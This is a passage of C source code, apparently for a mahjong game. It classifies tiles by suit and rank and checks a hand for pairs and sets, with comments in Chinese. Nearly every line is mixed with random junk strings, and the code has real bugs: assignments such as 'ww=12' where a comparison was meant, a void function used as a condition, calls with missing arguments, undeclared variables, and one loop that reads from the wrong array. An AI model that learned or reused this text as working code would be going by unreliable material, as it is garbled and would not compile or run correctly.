if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
+ l- |8 f4 @+ w{
# K* U0 k) j1 R4 rlgg=1;
3 n9 D, h# a2 M) B' g# eme.pp.d[1]=1;) h# v/ h) b  ~, d7 D7 \# D
}5 n3 J' G! ^+ `  d5 F
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)9 T3 c" R. v: e' B3 V% z& x, P
{
/ {& S& L' C/ S/ z6 }) jlgg=2;( H3 w; K0 X4 I; V" D  F
me.pp.d[1]=2;
( |6 z: X! Y8 E/ [7 `9 j, A}
+ b* u6 O# y* M! y) p8 E; kelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
6 p8 t. @% P$ _) \: H5 O{
- q1 j, s: V% S& E0 r  Xlgg=3;/ [3 ]1 J. ^2 P9 [' Z! S
me.pp.d[1]=3;' @4 `4 r; W' S% o
}
& U0 w% d1 L3 T5 zelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)4 l( s/ k- ^& [5 A/ d% p
{
& u9 E1 C2 a" t" B0 O# s) xlgg=4;# B7 I, P  n( \; d4 @6 @4 B
me.pp.d[1]=4;8 b- S# P! x5 x3 M9 v
}
* Z/ l8 F; i! t$ melse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)$ M/ \$ ^2 m% n% z8 `
{
5 I# g; J$ g& o4 @. f( nlgg=5;
5 c/ g4 z) k1 [5 }& J8 r0 e) X8 {me.pp.d[1]=5;
0 J" z% \6 ^- C}1 r" a3 t( k* z  n; q* g
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
+ s# H( o+ X  E$ C{: \: b; `" B8 V4 {/ u+ \
lgg=6;& k1 R6 Z$ j9 z, x
me.pp.d[1]=6;/ K5 U" ~! ]- S+ d/ w2 h
}
# H* F! E9 U# f4 {else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
3 J3 x* _) _& e% S$ u{' r6 F1 L1 O  L; Z
lgg=7;# U& d8 A) D& X2 d0 s
me.pp.d[1]=7;1 x% B8 r# b$ M
}
) M) ?5 l2 ?- y6 }4 h# y+ ^' Velse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
8 v9 ]- ?  I2 \2 s3 j- z{
3 ~& T" |) p: F& b' U% }lgg=8;, b' _+ ]* C, r. q$ A8 {8 I
me.pp.d[1]=8;
! G  X1 Y% ?0 p  l+ h}7 P. G: D) R: J  W$ c1 k9 T/ Q
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)0 m+ ?) L; a$ A8 Y3 e- ]  w
{) z6 Y4 l6 N  I
lgg=9;
$ H/ C+ A% K: [) R* Nme.pp.d[1]=9;9 r. ]# }- s( r1 ]9 Q
}" s- Y* p  _# D8 q  p
}
9 h2 x$ C8 X- E* Qelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
) j8 D: W! `* F{
- a- }. g/ h9 T( qlg=2;
* l% P8 i0 [# r- ome.pp.d[0]=2;
/ n8 D1 n1 t4 m2 i  M& Qif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
6 L& X7 w. K8 F/ G) T{
3 |4 X. M2 u; r- zlgg=1;6 i9 Y% V( V9 G6 c
me.pp.d[1]=1;
- f* G* c; ^$ W5 g}
1 L- k8 ?  u9 V/ x( Z- relse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
# e* J& u8 ?* G% V5 ~7 s$ r{
: N' t; W: v& f4 ilgg=2;
& f% v! D7 r& P8 W9 Y4 cme.pp.d[1]=2;- d0 Y  P& {% ]4 k+ ]( L! P& S
}% e/ o. ?: V' W" k3 P
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)" o/ C7 I2 Y! m3 y
{
7 }2 h" \' C8 R6 y+ [lgg=3;. ]; r: j: V; D8 |/ e" U' p4 Y
me.pp.d[1]=3;
( O& R: V! Q, o3 u* w  _, K}
# U+ ^3 U3 n9 w+ f4 A+ R8 C. ielse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)# L- ~) E# r4 h: r& d
{
4 W4 h$ M: T& {1 R6 Mlgg=4;
& F# |% I8 y: Q) mme.pp.d[1]=4;
- N( u7 T9 o3 w% w2 }}
' e+ m  \+ f8 `" N# C6 W, Yelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
7 Y  n# ~- ^2 s% W6 d3 G0 T( q5 p{7 r2 Q/ a/ X5 q
lgg=5;3 x! e8 D3 u& O! o3 B* _, J) s2 s6 n# a
me.pp.d[1]=5;
: N  T, _8 D) Z7 G( E$ m' \' c* ?}9 A7 j+ c6 `% k- S- g. |) |
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
3 F+ A' K" `  F  l' E{. ~4 M  w- H9 v8 A8 G+ v1 t
lgg=6;7 j: G/ X- p9 b+ K! [
me.pp.d[1]=6;
) {  o# K: `0 E2 n}5 L: Y! q- J# ?
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
4 Y# F. s% T, w! q8 |* o0 c7 @( O{
& s6 _7 k' A2 K6 ^  U0 Hlgg=7;
* w8 T  T) {% o5 x5 u1 r) w% d: H* Lme.pp.d[1]=7;. F+ p$ q5 K( S4 H  s  A5 O
}0 ^$ {2 s2 a$ X8 Z( {* W1 x# {* ]
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)4 G! H0 l) R6 ^7 R0 s- J0 o
{
' v4 x& W' ]$ b/ A3 e+ k: L- ?lgg=8;
( P. `" w3 n$ h" c* N. b8 vme.pp.d[1]=8;5 ]" b& p' e$ {  v( q
}
& O+ L, w) s% @else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68): K0 [' @8 z$ i' C  y
{
& {7 b; B( O! m. Y1 V0 a6 hlgg=9;; I$ r7 D( T' m8 U
me.pp.d[1]=9;
  B0 r  W% L  {! i6 V! [8 E# a4 _}0 q4 `/ d3 J6 H# g3 O2 c
}
" I5 L4 w; M6 x. r( F9 _& E3 \7 telse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
0 O- u) P3 e: w) ?: D{* k$ B# |) |+ w  E3 e
lg=3;- s$ k, [" @% p+ A
me.pp.d[0]=3;$ P) [9 {. e" c$ n# a8 ?$ e
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)" ^* f  I$ v1 O; h; C/ e  e6 s
{" w8 O+ k) p# w4 W5 v6 \
lgg=1;
+ x' }# N4 |4 Ume.pp.d[1]=1;" k( \9 I! X: \
}: @7 w7 t3 x7 `- A
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)1 v  L4 O& n6 E9 F
{2 M" B4 P, Y7 f8 S3 C4 l8 r, j; r: i
lgg=2;. p% R+ x$ k* T  S- ]0 \" L
me.pp.d[1]=2;; _! Z9 m9 u/ s1 ]9 @
}$ a: N+ G  l! ]5 G
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
# ^3 |! {/ t- f$ l( W- {2 e; y% P/ g' j{+ m8 x& R) I3 l/ U% `
lgg=3;( v4 q/ ]7 n8 m9 _5 d. J% z
me.pp.d[1]=3;, _% F5 P! O9 Z
}% b4 B" M4 ^( _& o6 p* i
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
4 g/ d9 K+ p! r{) J- W- o0 c, U1 _; b( y! c
lgg=4;
1 i7 a7 u4 ?& T0 n, @+ b1 Lme.pp.d[1]=4;4 d/ L5 c; g5 r; ]7 Q4 h4 s
}# f. Y6 e# ?( p
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)' L" v+ s% u& C7 e4 f4 o; [' G
{4 S/ D: I# {! B0 l
lgg=5;2 J4 @* y. ^2 r: v  z! z4 E
me.pp.d[1]=5;
5 S# ^8 R  \; J# _}
$ ~5 v. I, O3 n+ [' c2 ?% zelse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
- D0 J1 m  ]: k/ m5 l1 N: d' z{
4 p7 w# H" r9 Z$ D4 a$ Wlgg=6;) M/ V$ J  k, T3 W) L- O2 _4 ]: A
me.pp.d[1]=6;
3 {' [, Q2 c9 e3 l}$ A# e4 a  d% J* m; R8 }! C9 \6 i
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)5 C3 K' B* p* [8 h! [+ g2 A3 B
{% S2 h' @: a/ ]. E7 J6 c; E7 n
lgg=7;
0 W  C$ F7 l5 ~7 ^1 ~' Ime.pp.d[1]=7;) c" i6 Y) A* a1 t$ p
}% k8 L: K! |% W- j
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100). ^4 V3 `0 y" M- x0 N. K; r
{+ y5 j: S1 \1 `3 b3 h1 X6 E2 d# B; k
lgg=8;
, I0 u! h: ^* A1 q- l$ q0 zme.pp.d[1]=8;
3 {- T" G3 x  \$ s+ P4 o}1 r  P  g: R6 ~& m0 [: a8 \
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)! Z7 O6 l3 c$ c* _9 A& l+ i
{6 T/ @6 h# a; I9 W/ z" K
lgg=9;
3 X+ b" r) s- Gme.pp.d[1]=9;
. u- G  P& W. d  x}
: Q4 h, J. _! P; Q: W}
) O5 E7 r; p5 Q0 C" t9 felse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
+ H: ^- b$ O1 G4 S% j% ?  u: X8 t9 v{
, M  ~6 |( |( Dlg=4;+ [, E# m/ o# d9 _# p
me.pp.d[0]=4;/ ^, Q) L1 q1 B) }1 T
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
1 Q$ J& U' X+ L1 d( V+ ~) t8 v' y{" n! {1 X' D  J5 W+ p2 X
lgg=1;
5 P' E3 s- P8 b) u0 _4 jme.pp.d[1]=1;) a5 J( R/ E2 {$ t* x6 n5 X9 n3 }* y
}/ g, R( V; x% ]( {6 @. X3 E
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
" p; v6 d# l; b1 W: e. l9 `2 v{
+ I- b3 ~8 Y+ X8 g% n) ulgg=2;$ I# w5 L7 r+ d* G& N' O7 v& W& d5 w! C( c
me.pp.d[1]=2;6 v  j: A0 N: N0 a; _8 D
}
+ C7 K; W4 u& e- Xelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)) m' h7 P" |* v+ V: A  {
{
/ w# B6 E  O" z# ~7 Z9 Olgg=3;
$ `7 H% s2 t# t7 {( U) x3 fme.pp.d[1]=3;
3 s: N, V- e& C+ R& n1 P- {* s5 k}8 ?. p" d% z7 G0 }- X
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)& n- p) s* }$ x. x9 a5 y* Z
{0 @5 D2 X0 z8 ^2 @( l
lgg=4;
- B# O5 S/ e& ~9 O! Qme.pp.d[1]=4;! w. d" K/ H) G) T' h2 }
}
; C7 {+ v. v3 R, z  r1 eelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
: o8 l+ ?+ r7 _8 K{
8 ?% ]. W1 x5 t! h) Llgg=5;
, T6 v( G$ ?& H2 s0 Y3 Pme.pp.d[1]=5;
+ m4 y3 ^9 ]5 Q. F}
5 I* h. d6 p/ ]6 {4 C8 Qelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
- r" O/ D4 p: M8 f& q! G( {{
& k8 K2 k) ~2 z/ {) `lgg=6;0 `0 u5 j/ `. q  H; d# `
me.pp.d[1]=6;1 q1 U; ?$ Y) I6 l; @  _% e5 Q
}
# T* T! R! Z1 \/ s/ E. ~else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
$ q" K7 A, B4 b6 [) ^7 r) B6 ?! F{
3 I1 [! p. \, Clgg=7;' @3 @9 A! T% U6 x
me.pp.d[1]=7;
$ h: R* Y6 l# c) j! o6 P}
6 Y) V8 r; J) F. j, W+ `}
5 m& Q  f9 E2 S) |" F  d0 _6 P& g}7 C+ H9 J( L$ K* n) ~
}
: g5 S0 I/ e& u5 p( }( I" zvoid istwo(testt)
0 j9 ]1 p" S4 Q0 ?8 Qint testt[];+ T2 k6 B4 O; e/ p8 [/ r8 {4 m
{ if(testt[0]==testt[1])
3 `% y2 e  K& `8 ^second++;: S% D+ c2 v  @( h: b- m% Z) U
}8 [7 b8 v, y4 z5 D6 i( e6 q
void isthree(testt,n)* C/ D; x$ R! v( q1 d9 @$ P
int testt[],n=0;
9 d- z! `/ `% p, G6 x1 C{ int i,j,flage=0,lianx=0,same=0;8 [2 x8 _& }( e0 @  o( L
n=n/3;
6 m2 X# O  I# X( `3 b3 \for(j=0;j&lt;n;j++)4 ]2 Z9 }" l& \( b5 Q& R
{# H3 G3 b/ i, J0 c2 ~5 h: a7 o
for(i=j*3;i&lt;2+j*3;i++)
+ I" s; R% c' D/ y" ^{2 R, G4 B) F. `! _9 J
if(testt==testt[i+1])' P1 a3 A: k, q! ?+ A
same++;8 J( s$ l) X' A
if(testt[i+1]-testt==1)- r5 G9 f3 a( g9 @5 H* i  J' J% {
lianx++;
  X# E+ O) ^+ n& B$ L}
' n2 c$ ~' ]& X: J( N3 a+ iif(same==2)0 N& l% y3 l2 C! ?" j$ C& `
threes++;
2 A* l" a- }+ }6 d& W% Eif(lianx==2), @/ \( \* O# c( K: ~
threes++;
4 a& Q& \6 M* w  a4 D) N0 usame=0;
7 M" s  r& t- ]6 p; ulianx=0;3 D1 w' X' N4 a  e, U
}
2 ]) }  K% @  y, G+ B4 D7 u1 m; e; o}
: G' }$ h2 m! X7 C" Evoid panduan() /*本程序的精髓*/
6 }. y4 m" p/ D/ S4 _9 ]{int data[14];
9 X  L) Q8 q7 y$ p; Cint pw[14];# f8 I# b4 a" K" F
int pt[14];
( F/ A' p& D. ]int pi[14];
, l/ r$ }2 h! Z1 u2 J8 ?) uint pf[14];
3 I# N7 H, p7 D0 e' i# A1 Qint test[12];' J) W' H5 F# G7 W: j
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
( m# l& [6 r$ G1 pfor(jj=0;jj&lt;=me.m;jj++)
  [: l' F+ Q1 {  P{
8 f# \) `4 m4 s1 p6 v. tif(me.pp[jj].d[0]==1)
  H* e3 r! l7 C0 K* ~( J) Hdata[jj]=me.pp[jj].d[1];
/ u% F' T( V  j( l" i  a6 _- L' t$ K/ Qif(me.pp[jj].d[0]==2)6 @0 |! r6 y5 y5 x7 ^
data[jj]=me.pp[jj].d[1]+10;
/ d% ^5 D: \" ~0 `( ~: g) M7 ^if(me.pp[jj].d[0]==3)
: u9 X& D. p, `. j* X1 Hdata[jj]=me.pp[jj].d[1]+20;' L5 L2 |. w4 ~9 [3 c
if(me.pp[jj].d[0]==4)- V% f8 W% B$ m8 M
data[jj]=me.pp[jj].d[1]+30;2 P) T* \0 _) h% A
}  D5 c* @0 `: j0 `& I' t
if(logo==2)  b9 V# @: R' l# Z
w=logoo+10;
" M3 E% [8 k  A# I7 V! Qif(logo==3)
9 I1 Y) J5 m, R+ G, Fw=logoo+20;5 q) t: q3 N; E8 s3 n- `6 K7 h
if(logo==4), a6 U4 i$ n' d
w=logoo+30;
3 u9 c. D9 ]& r0 F5 E. P2 j* pdata[computer.m+1]=w;1 B% B" e( ^% z+ a3 Y" c8 _
for(mm=0;mm&lt;=computer.m;mm++)6 A. m4 @# w+ f+ D6 ~
for(nn=mm;nn&lt;=computer.m;nn++)
1 p7 o: P! x1 [4 g1 @& Rif(data[mm]&gt;data[nn+1])
& e  P( O5 v3 k1 S. s0 V9 h" f{
4 c8 h1 I" r: y  u. v" rtpp=data[mm];; u' \- P5 A6 B7 n$ a0 a: ~
data[mm]=data[nn+1];
8 Y) J% G$ [/ S; R2 ?( Adata[nn+1]=tpp;
' S9 u$ K1 W( M6 R1 t}6 u4 O& \1 O+ E4 H" J. l0 [, {
lp=0;% c, Z9 i2 ]+ O, K% \& M
while(lp&lt;=computer.m): z! |* A7 a) Q
{ if(data[lp]&lt;10)
0 r) v: @5 ]: Z- E* Bpw[ww++]=data[lp];
- B+ T' X! v  E- Z+ W" \$ sif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)  Y# Y* e7 J! O. y' h  K
pt[tt++]=data[lp];( D3 Z' ?% [: G0 d* J2 @
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)  a5 A' T; ]+ S7 h5 [
pi[ii++]=data[lp];
; H) T! A9 d! `+ l( e" ]0 Pif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
. c: N7 Y0 x% X& h4 Q. r% r! Wpf[ff++]=data[lp];! `( l3 J/ y! i
lp++;) r% x- Y0 q6 D9 U9 j' f
}& a- [. o* @" W  \: L
if(ww==2)
) |( V2 u* x$ O. ^: i: P( @istwo(pw);
6 W6 t5 Z3 r0 x% ?$ D! Felse if(ww==3)
0 l+ |' _) R" f& x* sisthree(pw,ww);
4 i, _. X2 ~2 `else if(ww==5)
. C; m. x1 d+ T, o# H/*pw[5]原始牌数组,假设已经升序排列*/
! \' t' T6 g( U  |; b/*test[3]用来放置测试牌的数组*/8 S" c, u; D7 y: n
for(i=0;i&lt;4;i++)& g" @9 B% W" [1 u) \* }: T( p% u( }
{
6 z6 e* r6 q, T  @7 P2 Gfor(j=0;j&lt;2;j++)' t; I- V  O$ P4 ]7 o3 |
{test[j]=pw[i+j];
1 V) z1 E3 v' R, S. b}1 a1 f; [" K8 Q3 |+ `
if(istwo(test))% q6 O3 Z3 O' e! b
{ ill=0;& r2 T. Z, `8 I4 c) |  D2 p' R
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
7 ]. ?2 Y) n2 g* G( ~- |{if(kl==i)
3 c- @' o. c4 U/ W8 r{
1 |& l: n. R; A! \- z* @kl=kl+2;
" M* y! \: Q5 U* v& Y: }if(kl==5)
, ]# c$ m1 W! B0 a! Y9 [7 [; |break;
! k: `, U# N5 p}
9 [# `4 R) @9 K+ G; }# z* H- m8 Utest[ill++]=pw[kl];' `$ p, u- S( I' M  z% t- D! \
}
' p4 F0 K/ U7 @; {isthree(test);
: G4 y9 a& q2 u0 h$ r' n% s5 R}
* B5 f6 t0 Y6 K8 ?! M" f0 I$ Z9 l}; p- t4 S+ n- R: F6 Y, V$ g
else if(ww==6)
* @- M; V) k0 k# }* P, N) uisthree(pw,ww);
0 U/ X  q: H* V. lelse if(ww==8)3 J' x, o; E; c1 G
for(i=0;i&lt;7;i++)9 L5 s( y! h" A; b# N4 Y/ S9 t
{
2 `1 V7 J+ n5 b' w4 H7 o' R% J( cfor(j=0;j&lt;2;j++)0 i$ N/ y5 p" L  \  S# q
{test[j]=pw[i+j];
- L; u0 F- E  @: e; {4 r}) k' |: J' S' |3 \
if(istwo(test))
4 j( _) m/ K0 g/ R/ z{ ill=0;
, @$ [2 @8 y: `( Q! Ufor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
/ [$ w4 c* p$ B+ ]5 z# J+ ?* _{if(kl==i)
( X' X7 Y6 |. _! C& v: x8 W{5 i, ]$ w9 @7 F" E' s3 G. [
kl=kl+2;8 Q# o4 p, P/ @5 U8 g) C
if(kl==8): [% [9 N' \3 Y1 U: M: o1 F
break;
" d3 U5 \# {# }( c/ C3 ~}
0 D6 x8 N4 A* v6 r& L' K. utest[ill++]=pw[kl];
  }5 u" v; A" a2 Q7 ?}+ z) C0 X1 T) ?" c9 q
isthree(test,ww-2); 4 G  J1 |8 i* Q" b
}
% u7 u$ ~4 m% D7 p+ S} ' N+ M2 _+ o: S
else if(ww==9)
: P  G7 l% W9 Disthree(pw,ww);
$ P8 U9 Y2 Q$ i& X8 \else if(ww==11)+ i, ~3 U- ?6 q( k
for(i=0;i&lt;10;i++)
6 }+ c/ Z# Y. k$ R8 u{
) Q3 o; y5 e: M0 ?' u4 C! y; g+ Xfor(j=0;j&lt;2;j++)
/ [7 P. [; l" W* r* D{test[j]=pw[i+j]; / F2 k1 @: `) a& j
}
; |$ B' X$ [. `if(istwo(test))
' J' C. J7 y& C4 s( X{ ill=0;
7 _* N3 [- x2 lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/. I( C9 t& G* @( L% w; g
{if(kl==i)1 E( S& o& b& U7 [# P$ U
{
* N; Z' |3 @" h* |0 a% Pkl=kl+2;
3 k6 A, H3 l: Z* a( c$ \4 Yif(kl==11)4 |/ J+ I$ C' J( j, \9 i; x
break;. e, w* _3 a( v* t6 H
}8 y* \7 m, @3 C( j- I
test[ill++]=pw[kl];+ [, O2 r% Z, q  M6 A' Y
}
1 Z- C2 D' J+ E; eisthree(test,ww-2); , k# X6 D: z0 q( e& f3 n' X
}% [- @. s; |7 X  }! ?5 q( ~) V4 c# K/ l' l
}   I( Y. i9 A/ @- O
else if(ww=12)
  G& l" i7 ?$ b( I$ f. ]  E) Yisthree(pw,ww);+ X3 O2 t7 c% d' v2 _" m9 Y6 {1 B, h
else if(ww=14)
5 b8 J" r, H- I/ A# e8 Pfor(i=0;i&lt;13;i++)
% u9 I5 [; O' U! F4 J{
3 ]1 Z' j6 |  c; |for(j=0;j&lt;2;j++)
2 q: n# w; y) E2 l/ N{test[j]=pw[i+j];
8 y: _' n5 Y! ?& [; s}
  d( I4 H% G( Z3 Y7 b# J" Z5 nif(istwo(test))
4 y: v6 |. l' W% F& h( E{ ill=0;" r  l5 f; Z) e6 t; L9 w5 c) d
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 N1 S# v4 |5 N{if(kl==i)
1 s  O; L4 R+ Z& |{- a( B# X" e4 n. u
kl=kl+2;
! C$ K9 o1 P1 T# V# u/ Rif(kl==14)1 m1 Z' t/ ]2 V6 u9 e
break;4 |6 t  R0 D" t& ~) L, U4 q- a
}, C5 U7 S/ R5 A0 Z( b
test[ill++]=pw[kl];" G3 r2 N6 a/ _7 X* R- `
}
2 Y9 d' B* C: w7 Y4 ~4 O- K3 m  l* C6 Oisthree(test,ww-2);
, F- r# D" X4 l# K+ N8 o1 X8 \9 `}
% q7 m) }  L; h% \" [/ N}
, E/ G3 C' ?2 {7 I9 o5 F9 d! n, Uif(tt==2)) O( \) x% ?0 t0 {. p5 Z5 y
istwo(pt);
1 j2 h& g) G  ?$ belse if(tt==3)
, K4 \3 Z& K3 M8 @isthree(pt,tt);# j! V. ^% J7 b: P# C9 G
else if(tt==5)% {& |  y" z% l: p! c( Y
/*pt[5]原始牌数组,假设已经升序排列*/! e9 t" K2 ?2 I  l
/*test[3]用来放置测试牌的数组*/
* ?; D) C, x. a3 D6 u) {* n1 H% efor(i=0;i&lt;4;i++)% ~+ q* |8 o# m" [3 ^# V
{) v7 M; D, b& x1 c. G6 u
for(j=0;j&lt;2;j++)$ c( M" P; _( u" u1 i
{test[j]=pt[i+j]; 5 x" K, {% K1 X0 Z3 P
}
$ c' i) f8 w$ M8 X3 U* X# }if(istwo(test))0 \( f& ^8 {% l- _, [& i" g7 C" {
{ ill=0;0 O2 P5 Q5 l$ [* S( M
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/; b  ^" J7 e" u9 }. G
{if(kl==i)) W1 y5 H4 x3 C5 P9 T+ h! Z
{
4 V; f1 q5 w9 M* f, b* j( w$ gkl=kl+2;
4 D6 N% P5 }2 P5 c1 Qif(kl==5)
5 O1 `: r, _$ R& kbreak;0 R9 g) F; g1 [
}1 \+ d1 ?7 M& _/ c" ^) l
test[ill++]=pt[kl];, v$ B: O7 U0 x* H
}
0 S; b! s# h( x/ n3 W! u- misthree(test);* Z% m% [" g; R& O4 o5 L- f) E
}
3 x4 E! U) X/ S& ]1 g4 B}
5 M* L% T9 ?8 t5 ?6 Z! Relse if(tt==6)
" f5 \0 t+ T  l4 ^isthree(pt,tt); 1 t! h; y3 G* s( J
else if(tt==8)
: q6 |) B' u0 j  M+ {+ u3 B, Rfor(i=0;i&lt;7;i++)& \& j* d% y2 D% t+ ]0 ~
{
" P: {, t' f$ r- n6 W# u; `3 Z8 Yfor(j=0;j&lt;2;j++)& w% g9 \3 \% W/ j# e7 @) M6 U( _/ S
{test[j]=pt[i+j]; ! h: ~% b' f' W1 t
}
6 |9 w' @5 u4 dif(istwo(test))
: z9 h( }3 ^( E! X{ ill=0;' \2 E" v6 i* ]# i
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
$ \" j+ A2 S& \. D) W8 X{if(kl==i)
% p/ i8 [; J2 V{
' ~: V4 n3 k& Okl=kl+2;
8 ?7 A# P2 V& d! Vif(kl==8)
& D2 a$ b4 Q3 ]/ j9 i. Ubreak;# d* X; m  K* Q5 \
}
0 v" R; I. m" etest[ill++]=pt[kl];
9 i/ D3 e6 B3 i5 o7 Y: F( M* B1 K- w}
9 C! a! _( _1 q" E% F: K# F$ D5 visthree(test,tt-2);
4 {; P3 n6 H$ g: k8 j8 v}. M2 L4 B8 a+ j% C6 D4 S
} 1 F, W7 @" f7 i* I. U9 t9 y
else if(tt==9)$ F( a, F: K" ]# B
isthree(pt,tt);% s% f7 R# A. ~2 S; J% ^
else if(tt==11)/ [, ]1 n; J9 D3 `
for(i=0;i&lt;10;i++)& ]* O- c8 W6 j
{
  k- g: q+ ^9 f4 g0 x9 m( ifor(j=0;j&lt;2;j++)
, w) b! k; B6 `6 [3 w% J# E{test[j]=pt[i+j]; * s2 `; X% R: P" X
}
! |5 d( b/ e0 E) M$ m. |! L, Uif(istwo(test))
$ z% R+ @! I) h{ ill=0;
3 @0 D4 i- I; M" u5 O* ]# tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/1 w# }2 V% ?5 t/ P3 ^3 Q" Q
{if(kl==i)* m: o; |, z. a6 @. Y* J
{
; X/ v( P1 J( ^! ]7 kkl=kl+2;
9 K4 `$ E3 {9 O$ T# W1 W+ o9 jif(kl==11)" n3 t8 S0 `! a& B2 n
break;4 W" s0 T: B! I/ i' y. @
}
* b$ E# t9 _5 V/ Ctest[ill++]=pt[kl];
0 B1 i0 ?2 J& I. h9 ^8 J& k/ o1 |0 T  A}4 z* m8 U0 b0 F2 P' z+ ]" b
isthree(test,tt-2);   \  G( a( F& T. G
}
2 ]0 a8 s' C& f, r}& q- f4 e  }0 @( @" o  L
else if(tt=12)
9 a  y, @* e9 h! ~  a5 n* {isthree(pt,tt);. w% y! y3 |5 ^. X4 ?8 N& B+ s+ {/ ~
else if(tt=14)
/ \' [& L- ^1 R/ Vfor(i=0;i&lt;13;i++)
4 P! a  v7 _. Y: z" A) C  k( C{/ G& [: L# W: W9 |
for(j=0;j&lt;2;j++)
0 `% H2 S) w0 }- y& ^4 S, U! T$ _{test[j]=pt[i+j]; # N: ?% J8 A1 M. \' U$ ?; O3 b4 I
}6 W6 ]! p/ P! G' W8 P5 J% I
if(istwo(test))
3 H% u' D: r6 _{ ill=0;$ s2 a; v- Y' l! I; m
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) M3 z/ y7 g3 ?3 W7 ~( T{if(kl==i); [# e8 w0 s  o* L* Q' O
{
- q8 l" C9 G5 q* w: t4 ]kl=kl+2;" J6 \7 R( S! ^/ T& {- M
if(kl==14)
! |" e8 j/ z" ]7 O# Z3 mbreak;: L+ e# N! r" m$ C7 P0 n8 Z
}
- m! Q( L5 F! S" Gtest[ill++]=pt[kl];5 l# l" p( r" @1 Y+ A- F1 a: w
}  A; X( X$ x& \0 }% [( i- _8 q
isthree(test,tt-2);
! {$ Z9 E2 \) G& R}
; k( V: n1 O2 [9 I9 u! L}* j5 l: P0 ~; `! x- m
if(ii==2)& |; d- }1 |* U& S0 c/ Q" h
istwo(pi);) {2 T: U1 h6 k4 Z' T
else if(ii==3)
8 w. [" e# b' cisthree(pi,ii);, P$ d3 ?  D' w* _: U# }
else if(ii==5)  t0 a4 s- \' |
/*pi[5]原始牌数组,假设已经升序排列*/1 V$ M% ~2 E8 f7 J+ c! S7 S
/*test[3]用来放置测试牌的数组*/
9 Q; ?. \9 o& U/ Z4 J. @  _for(i=0;i&lt;4;i++)
3 q. f9 H- ^# K{+ ~: }" [8 O2 o  {8 d7 S
for(j=0;j&lt;2;j++)
3 ]- M" O7 D/ p+ G1 F* Q' w) U! C{test[j]=pi[i+j]; 6 h2 I( U  L! [' I6 l- K
}
& L9 @; E& L3 _" p' gif(istwo(test))7 D- _3 A* h2 x9 |$ Q8 Q
{ ill=0;
$ f* W6 Z. L5 W; J/ L- ofor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/9 t9 I* }) a# d: x- H& p
{if(kl==i)/ k* @* n5 O! c" v0 L2 E7 [
{9 s3 D7 Y) D& V) r, x7 ?
kl=kl+2;, L% ]8 a" T9 ]. A! t2 D
if(kl==5)
8 {% z* M! s2 [* f/ b+ |break;
0 j$ A2 x" p. q5 L7 Z: @5 X}
' r/ X# Z: y: O( ?, b( btest[ill++]=pw[kl];+ f* B0 ~, f5 u, l+ B) R
}
- d0 B5 [  h; n+ S! t: @5 ^isthree(test);
+ N5 Q, w) u2 E1 E7 Q+ F% F( n! G+ P}2 N* Z4 x! Y* ?* q
}6 e( a2 g7 L. ~7 f0 O) s
else if(ii==6)
" L. b' a- Y% G* @( risthree(pi,ii); 2 I$ a9 ]4 Y. Y, y% k% `5 A
else if(ii==8)
, d( F" u. p% hfor(i=0;i&lt;7;i++)
4 X5 b1 M! U# N1 {. M6 f+ W{, c# B# P  d# [
for(j=0;j&lt;2;j++)
